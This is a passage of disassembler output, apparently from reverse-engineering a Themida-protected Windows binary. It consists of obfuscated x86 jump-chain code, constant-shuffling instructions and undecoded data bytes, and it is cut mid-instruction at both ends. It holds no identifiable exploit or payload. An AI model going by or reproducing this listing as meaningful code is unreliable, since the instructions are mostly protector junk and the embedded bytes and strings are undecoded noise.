esi, 519D0598h shr esi, 2 xor esi, 1D7F974Eh push edx mov edx, 6FA71BDCh and edx, 3D110E1h xor edx, 1B9D7099h jmp loc_55701B ; --------------------------------------------------------------------------- loc_5580AD: ; CODE XREF: Themida_:00552C5Aj push eax mov eax, 0FF41FAFh dec eax xor eax, 76403C73h sub eax, 109D05B8h jmp loc_55B7A8 ; --------------------------------------------------------------------------- db 58h dd 0FFF02858h, 148B2434h, 4C48324h, 8004C483h, 535029EBh dd 0BD45E952h, 0F3010000h, 7C99C381h, 895E733Fh, 6C815BD8h dd 2D2D0424h, 4AE93F82h db 0EEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5580F7: ; CODE XREF: Themida_:0055CC37j push dword ptr [esp] jmp loc_565554 ; --------------------------------------------------------------------------- loc_5580FF: ; CODE XREF: Themida_:0056564Cj pop esp mov [esp], edx push ebx jmp loc_55703A ; --------------------------------------------------------------------------- db 0F7h, 0D1h, 0E9h dd 7EE0h ; --------------------------------------------------------------------------- loc_558110: ; CODE XREF: Themida_:0055E351j push ecx push edi jmp loc_562417 ; --------------------------------------------------------------------------- db 8Fh dd 248B2404h, 0AB0F6624h, 0E99C2404h, 0FFFFB2A7h, 1CE9D8F7h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55812F: ; CODE XREF: Themida_:005598F9j sub ebx, 1 xor ebx, 28CE665Fh push ebx jmp loc_56557C ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 4C481h, 89510000h, 4C181E1h, 83000000h, 0C8704E9h, 20DBE924h dd 89510000h, 4C181E1h, 0E9000000h, 0A5DEh, 7530E6B9h dd 0A5C98175h, 491B6349h, 0C181D1F7h, 97FEE32Eh, 0C8BCA89h dd 4C48124h, 0E9000000h, 767Fh ; --------------------------------------------------------------------------- loc_558190: ; CODE XREF: Themida_:00554544j sub ebp, 0FDAC280Bh add edx, ebp pop ebp xor ecx, edx pop edx add eax, ecx pop ecx sub esp, 4 mov [esp], ecx mov ecx, 6B8E34DCh jmp loc_558433 ; --------------------------------------------------------------------------- loc_5581B2: ; CODE XREF: Themida_:00561A77j pop esp jmp loc_5541B5 ; --------------------------------------------------------------------------- dd 8904EC83h, 2BE9240Ch, 5900006Fh, 68AEBB53h, 0E9E94009h dd 68000031h, 54EA763Eh, 0C1DAF75Ah, 0B0E906E2h db 95h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5581DF: ; CODE XREF: Themida_:00554DC6j mov esi, [esp] add esp, 4 push ebx jmp loc_56815C ; --------------------------------------------------------------------------- db 87h dd 36E92404h, 89000044h, 4C781E7h, 81000000h, 4EFh, 243C3300h dd 0E9243C31h, 0D350h, 4DE95750h, 6800000Ah, 201Eh, 0B1240C89h dd 66D9F689h, 802AB652h, 0F128FAC1h, 66FAE980h, 0B753665Ah dd 0F10CE932h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558236: ; CODE XREF: Themida_:0056363Cj mov [esp], edx push dword ptr [esp] pop eax push edx mov edx, esp add edx, 4 push eax jmp loc_567D19 ; --------------------------------------------------------------------------- dd 0D7F7DFF7h, 17FDBB53h, 0D1E9AA3Eh db 0CBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55825B: ; CODE XREF: Themida_:0056473Cj add bl, 6Dh sub bl, dh push dx jmp loc_5670C2 ; --------------------------------------------------------------------------- db 0FFh a4Sfw db '4$é”w',0 dw 5B00h dd 0C105EFC1h, 0E95108EFh, 0A7EBh, 703249B8h, 0CF99056Eh dd 0F6E9FA8Ah, 5B000083h, 0E137E95Ah, 0E95B0000h, 0FFFFFD93h ; --------------------------------------------------------------------------- loc_558298: ; CODE XREF: Themida_:00559FBDj add ebx, esi pop esi sub esp, 4 mov [esp], esi mov esi, 4 jmp loc_566AF4 ; --------------------------------------------------------------------------- aYuw db '^)ÎYUW¿Ó',0 dd 0D7F7251Ah, 7E3FE9h, 2434FF00h, 0FFDB44E9h, 5FFA89FFh dd 0DEBF5752h, 0E91BA724h, 8973h, 4C4815Bh, 33000000h dd 4312404h, 24043324h, 6624248Bh, 5724148Bh, 1D685F54h dd 89000007h, 0E3E92434h, 0F700007Bh, 0F83540D8h, 1B008C3h dd 24048BC6h, 4C481h, 0EAE90000h, 0C00000A1h, 73E903EFh db 9Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55831B: ; CODE XREF: Themida_:00554133j and eax, 4E1D15AAh neg eax push 49A6h mov [esp], esi push 2DDDh mov [esp], edx jmp loc_560778 ; --------------------------------------------------------------------------- loc_558337: ; CODE XREF: Themida_:0055CF19j mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] add esp, 4 or eax, eax jz loc_56416B push esi jmp loc_565477 ; --------------------------------------------------------------------------- aFbaaasP db 'fíí€éÒP',0 dd 81E58100h, 0E90BD92Dh, 0FFFFC92Ah, 66243489h, 663B3ABEh dd 10BE681h, 0A3F8E9h, 8734FF00h, 0FFA8B3E9h, 244401FFh dd 835F5804h, 2C8904ECh, 4BD24h, 74E90000h, 31000013h dd 1C33241Ch, 2978E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5583A6: ; CODE XREF: Themida_:005623D6j push edi mov edi, 4 sub esi, edi mov edi, [esp] add esp, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp jmp loc_5612F8 ; --------------------------------------------------------------------------- aMIs db '¿¶m´iéܶ',0 dd 22B85000h, 0E958CD62h, 0B066h, 33242C31h, 248B242Ch dd 4896624h, 0A84EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5583EA: ; CODE XREF: Themida_:005647C6j mov [esp], edi jmp loc_55E623 ; --------------------------------------------------------------------------- dw 0EA81h dd 254E5857h, 2DE9CA01h, 8100002Bh, 4C4h, 81D1F600h, 4ECh dd 241C8900h, 0FC88CF88h, 71E9595Bh, 81FFFFADh, 0D0B64AF1h dd 8BC88980h, 0C481240Ch, 4, 14E9C601h db 80h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558433: ; CODE XREF: Themida_:005581ADj sub ecx, 0FFFFFFFFh push edx sub esp, 4 jmp loc_564917 ; --------------------------------------------------------------------------- dw 0E952h dd 0FFFFFA25h, 4C481h, 68660000h, 89664225h, 89522414h dd 4C281E2h, 81000000h, 4EAh, 24148700h, 0AD37E9h db 0 ; --------------------------------------------------------------------------- loc_55846D: ; CODE XREF: Themida_:00567B84j mov al, 6Eh jmp loc_55B432 ; --------------------------------------------------------------------------- loc_558474: ; CODE XREF: Themida_:005660B9j add edx, esi add edx, 3E2E4442h jmp loc_561AFD ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 0CD3665Ch, 0A9E99C24h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55848F: ; CODE XREF: Themida_:0055B68Fj push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_55C99E ; --------------------------------------------------------------------------- dw 489h dd 402AB824h, 2E3535CDh, 8135CD40h, 774129EBh, 15ABE944h dd 0E2810000h, 63EA6269h, 0FFDED9E9h, 5EF501FFh, 0E95DEB31h dd 76A2h, 6852E689h, 147Eh, 0BF243C89h, 5ED22D86h, 8102EFC1h dd 3442E0EFh, 0D7F74733h, 0B779EF81h, 0FA891B7Fh, 5AD6015Fh dd 0FFD1B8E9h, 8AB951FFh, 81110F61h, 9E10B5E9h, 0BBBB5364h dd 815E4C1Ah, 0A76705EBh, 0F7D3F72Bh, 81E3D1D3h, 18A3BFEBh dd 5BD901EDh, 1535EB81h, 0CB292ECEh, 0F71DE9h, 6757B900h dd 0E9C16966h, 0AC18108h, 502F1108h, 717BF3B8h, 573E2D0Ah dd 0C131B996h, 4CE18158h, 0E91C6D1Ch, 6B08h, 6F6F7ABEh dd 5EF73177h, 1DEAEB81h, 0FB0141D1h, 4EC81h, 4890000h dd 1DEAB824h, 0C30141D1h, 36CAE9h, 2414F700h, 0FFEF835Fh dd 0E95F5057h, 1908h ; --------------------------------------------------------------------------- loc_558590: ; CODE XREF: Themida_:005555CDj mov [esp], edi pop ecx mov edi, [esp] jmp loc_5627E6 ; --------------------------------------------------------------------------- dd 8BC2015Bh, 89572404h, 4C781E7h, 81000000h, 4C7h, 243C8700h dd 8724248Bh, 0D0E92414h, 81000048h, 2C424ACDh, 0EBFDE955h dd 59580000h, 0DAE9F828h, 66FFFFD5h, 0A868F1F7h, 89000035h dd 5B54241Ch, 4C381h, 0EB830000h, 14326802h, 21E90000h dd 660000CDh, 81240C8Bh, 4ECh, 24048900h, 261E9h db 0 ; --------------------------------------------------------------------------- loc_558605: ; CODE XREF: Themida_:0055615Fj mov [esp], edx mov edx, 66163542h or ebx, edx pop edx xor ebx, 8F4595Eh and esi, ebx pop ebx inc esi push edi mov edi, 6E2D0C84h shl edi, 2 neg edi jmp loc_55505B ; --------------------------------------------------------------------------- dw 48Bh dd 4C48124h, 66000000h, 303EB353h, 885B66D8h, 24048BC6h dd 4C481h, 0F6800000h, 759CE92Ah, 0EA810000h, 0EA5B2CF1h dd 815AD189h, 6C5D9EE1h, 0B7B3E970h, 0EBC00000h, 0EDF38003h dd 0FFDBC9E9h, 24248BFFh, 0FA62E9h, 24D25C00h, 0B9E99C24h dd 81FFFFA5h, 39BA11F2h, 5AD0296Ch, 0F709E957h, 0E9520000h dd 0FFFFFB3Bh, 2070EB81h, 0EB010BAFh, 2070C381h, 565D0BAFh dd 396689BEh, 0E7E1E93Eh, 24680000h, 0E9000037h, 0B5ACh dd 3EC5815Dh, 55B5C235h, 2E6EBB53h, 5C293BF6h, 5E5B0424h dd 7081E9h db 0 ; --------------------------------------------------------------------------- loc_5586D1: ; CODE XREF: Themida_:00556AF4j movzx cx, ah push 1463h mov [esp], ebx push esp push dword ptr [esp] pop ebx push edx mov edx, esp jmp loc_55B9B4 ; --------------------------------------------------------------------------- dw 6866h dd 34280000h, 51A9E924h, 14330000h, 24143124h, 8B241433h dd 31662424h, 33662404h, 31662404h, 25E92404h, 54FFFFA5h dd 8FBA525Dh, 835C3257h, 0C8904ECh, 4D9DB924h, 64E95B56h dd 500000A1h, 7E096AB8h, 0E9D8F722h, 4504h, 2985ED81h dd 0F5014E44h, 2985C581h, 348B4E44h, 27026824h, 1C890000h dd 55E38924h, 8B5771BDh, 30ED8132h, 81737E2Eh, 0D2945F5h dd 5DEB01BFh, 8704C383h, 41E9241Ch, 8100001Fh, 4C4h, 4C48300h dd 0EFA68h, 24148900h, 48304068h, 0E2C15A49h, 42D3E903h dd 28F0000h, 0FFA49FE9h, 21E02DFFh, 0E9504BCBh, 0CF6Dh dd 4244429h, 5ED6E9h, 55F58100h, 8196F1D6h, 4ECh, 24348900h dd 71117FBEh, 0E9F7295Ah, 32AEh, 0F280C2FEh, 0E9D10048h dd 4453h ; --------------------------------------------------------------------------- loc_5587D4: ; CODE XREF: Themida_:0055CC9Cj xor edi, eax pop eax jmp loc_55A5CC ; --------------------------------------------------------------------------- loc_5587DC: ; CODE XREF: Themida_:00564BF1j add edi, 4 push 2D7Ah mov [esp], ebx mov ebx, 661A5F53h inc ebx xor ebx, 661A5F50h sub edi, ebx mov ebx, [esp] add esp, 4 push edi push dword ptr [esp+4] jmp loc_5651A5 ; --------------------------------------------------------------------------- dd 1549A4BDh, 246C3154h, 242C8B04h, 5E04C483h, 49A4F681h dd 62E95415h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_558823: ; CODE XREF: Themida_:005675F0j mov [esp], edx push esp pop edx sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], edx mov edx, 42794B16h mov eax, 9BDFD6Dh add eax, edx mov edx, [esp] add esp, 4 push esi mov esi, 7300059Bh and esi, 56357FF8h shr esi, 6 push ebp mov ebp, 1C493AF9h add ebp, 0A20E7A43h jmp loc_55EC93 ; --------------------------------------------------------------------------- dw 0EC83h dd 4E896804h, 7EE90000h, 6600005Ch, 0E9240489h, 0FFFFA3BCh dd 0DBBD5559h, 299715A5h, 0B8505DE9h, 63A91421h, 505E8C1h dd 26A31C32h, 4CC6E9h, 0F75E5900h, 4EC81D6h, 89000000h dd 4FF2434h, 0F1315E24h, 0E979E9h, 4C48100h, 0E9000000h dd 3D0Fh, 2958C581h, 0CD81463Bh, 62AF1480h, 357C581h, 0EE011040h dd 0A768575Dh, 8900003Dh, 84BA2414h, 0BF46EC0Ch, 46EC0C88h dd 15AD729h, 0D3EE9FEh, 5A040000h, 5A2CE828h, 49E91704h dd 0BB0000D3h, 54CB5822h, 2CE0E9h, 0F9EB8100h, 3193AC53h dd 241C8BD8h, 0E9E08950h, 5DD1h ; --------------------------------------------------------------------------- loc_558918: ; CODE XREF: Themida_:0055411Bj add esp, 4 or edx, eax jmp loc_55E329 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 6E52C9BAh, 0F5C781F1h, 0E916BC09h, 0FFFFEB3Dh, 241C875Fh dd 28C6045Ch, 0C6B151F0h, 0C828372Ch, 12E93704h, 57000073h dd 4224B3BFh, 0E4C78112h, 0E9458056h, 6F31h, 0DF84C281h dd 39E9EBE8h, 8300006Dh, 1EE904C4h, 800000BBh, 0C528C9EDh dd 0E9C9C580h, 0FFFFF4DDh, 840FC009h, 0FFFFE6D0h, 722568h dd 241C8900h, 822DE9h, 3AEA8100h, 0E92DB55Eh, 0D8DFh ; --------------------------------------------------------------------------- loc_5589A0: ; CODE XREF: Themida_:0055CA84j shr eax, 1 or eax, 604E1EA0h push ebx mov ebx, 0F6646F90h sub eax, ebx pop ebx jmp loc_563503 ; --------------------------------------------------------------------------- loc_5589B5: ; CODE XREF: Themida_:005638E4j not edi xor edi, 59D14DAh add edi, 0B5844DFh sub edx, edi pop edi xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_55A47E ; --------------------------------------------------------------------------- dd 3510E945h, 69B80000h, 1F7DBD7h, 24048BC1h, 4C481h, 0CD890000h dd 10532D59h, 0E8014031h, 1053BD55h, 53E94031h, 8BFFFFD0h dd 0E956242Ch, 90A8h, 2C781h, 3C870000h, 8B665C24h, 0BDE92404h dd 68000084h, 5EDC7B3Ah, 0E92434FFh, 0FFFFDD58h, 4DE9585Eh db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558A3F: ; CODE XREF: Themida_:00562583j inc edi sub edi, 0B80F807Dh sub edx, edi mov edi, [esp] jmp loc_552FDE ; --------------------------------------------------------------------------- dd offset dword_4FE044+724h dd 895FE900h, 48F0000h, 903EE924h, 9D040000h, 0E3E9D828h dd 8100009Dh, 42404h, 565F0000h, 7974B850h, 0E8C14CE0h dd 55590D03h, 29353002h, 896A556Dh, 44E958C6h, 53000007h dd 4EC81h, 24890000h, 24048324h, 0C3815B04h, 4, 3304EB83h dd 1C31241Ch, 241C3324h, 2404895Ch, 24048B54h, 91E95452h db 0E8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558ABF: ; CODE XREF: Themida_:00553A8Ej add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push esi jmp loc_565453 ; --------------------------------------------------------------------------- dd 6419E955h, 34890000h, 0BC57E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558AE2: ; CODE XREF: Themida_:005542A9j push eax mov eax, 30022E0Fh sub ecx, 61E02684h sub ecx, eax add ecx, 61E02684h pop eax sub ecx, 16637366h push ebx jmp loc_554327 ; --------------------------------------------------------------------------- loc_558B03: ; CODE XREF: Themida_:0055E52Dj pop dword ptr [esp] mov esp, [esp] or edx, eax jmp loc_55E6AE ; --------------------------------------------------------------------------- aBlKwqiSn db 'l$',8,'kwqI)|$',8,'é¸',0 dd 0B1BE5600h, 3114F436h, 0C2895EF0h, 582434FFh, 4C481h dd 81590000h, 19485BEAh, 4E2C122h, 38CCC281h, 0EAC13806h dd 51DAF708h, 0DE186CB9h, 0E9CA31FFh, 0FFFFC215h, 4EC81h dd 4890000h, 68E08924h, 6B2Ah, 0E9243C89h, 0FFFFA7A3h dd 0BB19EE81h, 0D6F758A7h, 142468h, 24048900h, 0AC3CE9h dd 0F7295B00h, 81D7015Eh, 0F3655EC7h, 24148B24h, 4C481h dd 0A7E90000h, 810000A3h, 4C4h, 0FEC58100h, 0E9308F44h dd 0D611h, 1646C381h, 0DF01B53Ch, 81241C8Bh, 4C4h, 3AE95500h dd 480000CBh, 76BD5557h, 0BF40F629h, 4E823957h, 295DEF29h dd 47095FF8h, 24048B1Ch, 81E78957h, 4C7h, 4C78300h, 5C243C87h dd 0FFA043E9h, 4C681FFh, 52000000h, 404AE9h, 54565800h dd 0E924348Bh, 0FFFFFD5Fh, 1AB7E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_558C12: ; CODE XREF: Themida_:0055E11Cj push edx jmp loc_563D0F ; --------------------------------------------------------------------------- loc_558C18: ; CODE XREF: Themida_:0056539Ej xor ecx, edi neg ecx push edi push ebp jmp loc_563E08 ; --------------------------------------------------------------------------- db 31h dd 0F0015AD6h, 0E246E9h, 2BC28100h, 31FA12ADh, 558EE9D7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558C3A: ; CODE XREF: Themida_:0055D945j push 4861h push 3DAEh mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 pop esi jmp loc_55C26E ; --------------------------------------------------------------------------- loc_558C5B: ; CODE XREF: Themida_:00564474j jmp loc_552C38 ; --------------------------------------------------------------------------- dd 0E5881BFh, 5FF88952h, 0F1A78105h, 1E0AE9ADh, 0B80000h dd 89000000h, 0A86EE9C3h, 615C0000h, 0B1E9C39Dh, 0B6FFFF9Fh dd 5AF0009Bh, 5399045Bh, 9FDBE9h db 0 ; --------------------------------------------------------------------------- loc_558C95: ; CODE XREF: Themida_:00563642j mov ebp, 1D01276Bh mov esi, 0E2FED915h sub esi, 1FF83234h jmp loc_5665BF ; --------------------------------------------------------------------------- dw 0C87h aS_7 db '$é',0Dh,')',0 align 2 dw 0C729h dd 22C4C781h, 92E908DAh, 0F70000F4h, 30F168E9h, 14890000h dd 0E99C5024h, 0FFFF9F68h, 0E924048Fh, 5077h, 5DDAC381h dd 0BA524FE5h, 67751A23h, 8104E2C1h, 0F61ECFC2h, 71C2810Fh dd 420F6523h, 66F28142h, 29891E88h, 0FB295AD3h, 6C14C381h dd 0EB811FB2h, 4FE55DDAh, 5F2434FFh, 0FFC9DAE9h, 4C381FFh dd 83000000h, 1C8704EBh, 4895C24h, 2474FF24h, 7749E904h dd 4810000h, 0DB100B24h, 242C812Dh, 4D53149Fh, 3D5ABA52h dd 0E2815BB2h, 0D381833h, 61D8E9h db 0 ; --------------------------------------------------------------------------- loc_558D4D: ; CODE XREF: Themida_:00565C85j push esp pop ebp push ebx mov ebx, 4 add ebp, ebx pop ebx push 8D2h mov [esp], eax jmp loc_556831 ; --------------------------------------------------------------------------- loc_558D65: ; CODE XREF: Themida_:005537ADj pop esi and eax, ebp pop ebp sub eax, 160C63CBh sub eax, 3DBA07AAh push esi jmp loc_55CC8C ; --------------------------------------------------------------------------- aRps db 'RPéË',0Ah,0 align 10h dd 2C8BE829h, 4C48324h, 0EC83E829h, 24348904h, 0A3392FBEh dd 5DBDE919h, 0CE810000h, 332B1EB0h, 1296E9h, 24048700h dd 61F5E9h, 0B4BE5600h, 0E979AB2Ah, 0FFFFC2EDh, 2434875Ah dd 8924248Bh, 0EC812414h, 4, 57241C89h, 591F6CBFh, 0D4C78160h dd 81393838h, 163106F7h, 5FFB8981h, 0F386E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558DE6: ; CODE XREF: Themida_:00552EE3j push dword ptr [esp] mov edx, [esp] add esp, 4 push eax jmp loc_56167F ; --------------------------------------------------------------------------- dd 0ED81D5F7h, 0E4F210C9h, 0A164E953h, 0E9570000h, 76C4h dd 0E9241487h, 854Ch, 24048B66h, 815B5453h, 4C3h, 0C952E900h dd 48F0000h, 24248B24h, 0FF9E07E9h, 460C68FFh, 2C890000h dd 15CFE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558E3E: ; CODE XREF: Themida_:0055E74Fj mov [esp], ebp mov ebp, 74F9285Dh shr ebp, 1 neg ebp add ebp, 0FFFFFFFFh jmp loc_5540AC ; --------------------------------------------------------------------------- dw 0E189h dd 4C181h, 0BA520000h, 2, 0FFF0B3E9h, 6866FFh, 24142800h dd 8324148Ah, 0C28002C4h, 5AD028D6h, 0FF9E0CE9h, 4C681FFh dd 87000000h, 1CE92434h, 81FFFFC3h, 0DE1E53C3h, 9CE4E932h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558E96: ; CODE XREF: Themida_:0055FCAFj push 1D40h mov [esp], ecx jmp loc_559881 ; --------------------------------------------------------------------------- aUs_q db 'Ué_q',0 db 0 ; --------------------------------------------------------------------------- loc_558EA9: ; CODE XREF: Themida_:00566AEFj or ecx, 53A217A1h sub ecx, 0E262BE47h xor edi, ecx jmp loc_55F929 ; --------------------------------------------------------------------------- loc_558EBC: ; CODE XREF: Themida_:00553B6Cj add esi, 4 jmp loc_567E56 ; --------------------------------------------------------------------------- loc_558EC4: ; CODE XREF: Themida_:00559375j push ebp mov ebp, 2C194F74h jmp loc_5575D6 ; --------------------------------------------------------------------------- db 58h dd 0FFE6E2E9h db 0FFh ; --------------------------------------------------------------------------- loc_558ED5: ; CODE XREF: Themida_:0056002Bj mov esi, [esp] add esp, 4 add esi, 63610382h push eax jmp loc_564A01 ; --------------------------------------------------------------------------- dw 0C680h dd 0FFC60066h, 83582434h, 0D6F604C4h, 0E680D6F6h, 80D6F617h dd 0B75301EEh, 5BFE28A2h, 0E95AF528h, 0FFFFAD61h, 0E1C1D9F7h dd 30F18106h, 1063C4Eh, 240C8BC8h, 4C481h, 8B500000h, 0E956241Ch dd 0FFFFD128h, 1A92E953h, 0FA090000h, 81243C8Bh, 4C4h dd 0A0BD5500h, 0C176BC37h, 0CD8107E5h, 21CC0D9Ah, 0E905E5C1h dd 283Eh, 24048B66h, 0E3895356h, 4C381h, 0EB810000h, 4 dd 5C241C87h, 24048F54h, 46851h, 81590000h, 4D042444h dd 815B633Eh, 0D8042444h, 148553Ah, 8104244Ch, 0D804246Ch dd 8148553Ah, 4ECh, 242C8900h, 0A4DDE9h, 5EFC100h, 3DF3F781h dd 0FD891A54h, 0FFEE015Fh, 835D2434h, 2C8B04C4h, 4C48324h dd 0E040E9h, 48B5300h, 3D30E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558FCE: ; CODE XREF: Themida_:0055D0CDj sub ecx, 0FFFFFFFFh dec ecx sub ecx, 1B7E62A1h jmp loc_553CA7 ; --------------------------------------------------------------------------- loc_558FE0: ; CODE XREF: Themida_:005675ABj sub edx, 7DDF1D4Bh jmp loc_562A35 ; --------------------------------------------------------------------------- db 0B9h dd 4, 8759CB01h, 525C241Ch, 4BAh, 5AD60100h, 31243433h dd 34332434h, 24248B24h, 8F68F1F7h, 89000072h, 9C502414h dd 0FF9C1BE9h, 50D701FFh, 0F5311AB8h, 4BC78105h, 293B082Eh dd 4BEF81C7h, 8B3B082Eh, 0C4832404h, 3C335A04h, 243C3124h dd 8B243C33h, 8B662424h, 5456240Ch, 0FFA0A8E9h, 4C481FFh dd 68000000h, 2AF7h, 0BD242C89h, 6A20065Ah, 3089C581h dd 0E5C13251h, 0B7D6E907h, 0C4810000h, 4, 3FBBE9h db 0 ; --------------------------------------------------------------------------- loc_55907D: ; CODE XREF: Themida_:00553017j mov edx, 20h sub edx, 5F674B66h add edx, edi add edx, 5F674B66h push ecx jmp loc_5602A3 ; --------------------------------------------------------------------------- dw 605h aSC db ':Ì]éÑc',0 align 10h dd 0E92434FFh, 0FFFF9E53h ; --------------------------------------------------------------------------- loc_5590A8: ; CODE XREF: Themida_:00553561j add esp, 4 jmp loc_555C17 ; --------------------------------------------------------------------------- loc_5590B3: ; CODE XREF: Themida_:00562E3Dj shl ebp, 7 jmp loc_5621A3 ; --------------------------------------------------------------------------- loc_5590BB: ; CODE XREF: Themida_:0055EEDCj not ecx push edi mov edi, 4F434FE5h dec edi not edi or edi, 6F5D5A0Ah not edi push edi jmp loc_555EC8 ; --------------------------------------------------------------------------- dd 0BB53DEF7h, 2F817070h, 0D3F7DBF7h, 0E3C1D3F7h, 81DBF707h dd 5F714CF3h, 6EBC1CDh, 6167EB81h, 0C381414Fh, 9CB92E38h dd 1C8BDE01h, 4C48124h, 81000000h, 0E03426F6h, 0A1B1E943h dd 88590000h, 24148BF1h, 320E9h, 241C8900h, 0C381E389h dd 4, 2245B951h, 54553059h, 4C5815Dh, 81000000h, 4EDh dd 0B38AE900h, 0C05AFFFFh, 0E95008E1h, 0A282h, 1C8BD829h dd 4C48324h, 2E8C148h, 0DA05D0F7h, 2D08B865h, 0A7A217A3h dd 3E4BE9h, 0C0B60F00h, 24148B66h, 4EC81h, 0C890000h, 4EC8124h dd 89000000h, 0DCE92424h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559187: ; CODE XREF: Themida_:0055510Dj xor [esp], ebp jmp loc_562011 ; --------------------------------------------------------------------------- loc_55918F: ; CODE XREF: Themida_:0055DA85j add ebx, eax sub ebx, 38571E04h push eax mov eax, 4C1B6A7Dh sub eax, 57DA6F62h or eax, 79906497h jmp loc_559891 ; --------------------------------------------------------------------------- loc_5591AC: ; CODE XREF: Themida_:005646C3j add esi, edx jmp loc_55F73E ; --------------------------------------------------------------------------- loc_5591B3: ; CODE XREF: Themida_:00554D68j sub dword ptr [esp], 7BB2321Dh pop ecx add ecx, 7BB2321Dh jmp loc_557358 ; --------------------------------------------------------------------------- dw 5104h dd 512CE800h, 5AE95359h, 56FFFFBEh, 5E2414F7h, 0BF57D6F7h dd 209A0BA2h, 0C15FFE01h, 0BD5508E6h, 3A9644FEh, 92BCD81h dd 0ED81158Dh, 0DA615603h, 15DEE29h, 0EF815EF7h, 4, 0E8BE9h dd 62E95400h, 5800007Ah, 307B850h, 0E9553862h, 0FFFFAA46h dd 3AC6BA52h, 0D3314E7Dh, 1CF7535Ah, 0B48AE924h, 0C531FFFFh dd 0F1F58158h, 0E918BD46h, 0E7A3h, 0E82899B5h, 81240C8Bh dd 4C4h, 0E9A30400h, 691Bh, 1DBBB850h, 44E9594Eh, 2D0000CDh dd 663E286h, 31E9C189h db 7Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_559267: ; CODE XREF: Themida_:005613D1j add bl, 56h sub bl, ah jmp loc_562DE1 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0C5815D54h, 4, 5BEEE9h db 0 ; --------------------------------------------------------------------------- loc_559281: ; CODE XREF: Themida_:0055C8F6j add ecx, 0FDBFFF81h add eax, ecx pop ecx push ebx mov ebx, 4 jmp loc_564499 ; --------------------------------------------------------------------------- db 56h, 89h, 0E6h dd 4BF57h, 0FE010000h, 0CB67E9h db 0 ; --------------------------------------------------------------------------- loc_5592A5: ; CODE XREF: Themida_:0055697Ej push 13964023h mov ebp, [esp] add esp, 4 add ebp, 35386DFBh jmp loc_556A87 ; --------------------------------------------------------------------------- loc_5592BE: ; CODE XREF: Themida_:0055EBFDj add ebx, 0FFFFFFFFh sub ebx, 54893C44h jmp loc_55B9A8 ; --------------------------------------------------------------------------- db 89h dd 0DABD242Ch, 0F760F876h, 25C581DDh, 4D656232h, 6564ED81h dd 0B6E976FCh, 0C100001Ch, 3D2D02E8h, 487C984Bh, 7DBA5253h dd 0E94D4172h, 7A4h, 2EC2815Dh, 810FBB71h, 9D28FDEAh, 25C2816Dh dd 0E96B7529h, 0DD38h, 5C243C33h, 0FF9917E9h, 8BD189FFh dd 0C4832414h, 2B32E904h, 0C6810000h, 502BD6A7h, 0F5E9F129h dd 8900006Ch, 0E9555EF7h, 0FFFFE798h, 8B24048Fh, 8B662424h dd 0E9562404h, 6B98h, 8904EC83h, 0BB53240Ch, 5A5315F6h dd 82E9D989h, 5A00005Fh, 0C7FEEFD0h, 0E90DEF80h, 9EC0h ; --------------------------------------------------------------------------- loc_559374: ; CODE XREF: Themida_:00564678j pop ebx jmp loc_558EC4 ; --------------------------------------------------------------------------- dw 3433h dd 0F2EBE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559382: ; CODE XREF: Themida_:00556A1Cj mov eax, [esp] add esp, 4 jmp loc_565952 ; --------------------------------------------------------------------------- dd 0ACE9D5F7h, 89000085h, 17E9241Ch, 89000090h, 4B9240Ch dd 1000000h, 240C8BCDh, 8104C483h, 4C5h, 4EC8100h, 89000000h dd 0AAE9242Ch, 81000002h, 4ECh, 24048900h, 42474FFh, 24048F58h dd 2434895Ch, 29B76851h, 0C1597D15h, 6805E1h, 81000000h dd 53C52404h, 0EFE94B07h, 66FFFFC4h, 6824048Bh, 717Ch dd 54241489h, 4EC835Ah, 5A4AE9h, 14895C00h, 87E95124h dd 810000A8h, 0F43A87E9h, 4EC813Eh, 0E9000000h, 23E9h ; --------------------------------------------------------------------------- loc_559424: ; CODE XREF: Themida_:0055C2B2j pop eax push esi sub esp, 4 mov [esp], esp jmp loc_556FD2 ; --------------------------------------------------------------------------- db 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_553EB9 ; --------------------------------------------------------------------------- db 53h, 89h, 0E3h dd 4C381h, 0FBE90000h db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55944B: ; CODE XREF: Themida_:005612FBj mov eax, 24h add eax, edi push edi jmp loc_55CC5F ; --------------------------------------------------------------------------- dd 4244481h, 3F822D2Dh, 5524048Bh, 2E4EE9h, 54530500h dd 52536D55h, 604A18BAh, 5AD38913h, 0FF9E72E9h, 0E9C589FFh dd 315Bh ; --------------------------------------------------------------------------- loc_559484: 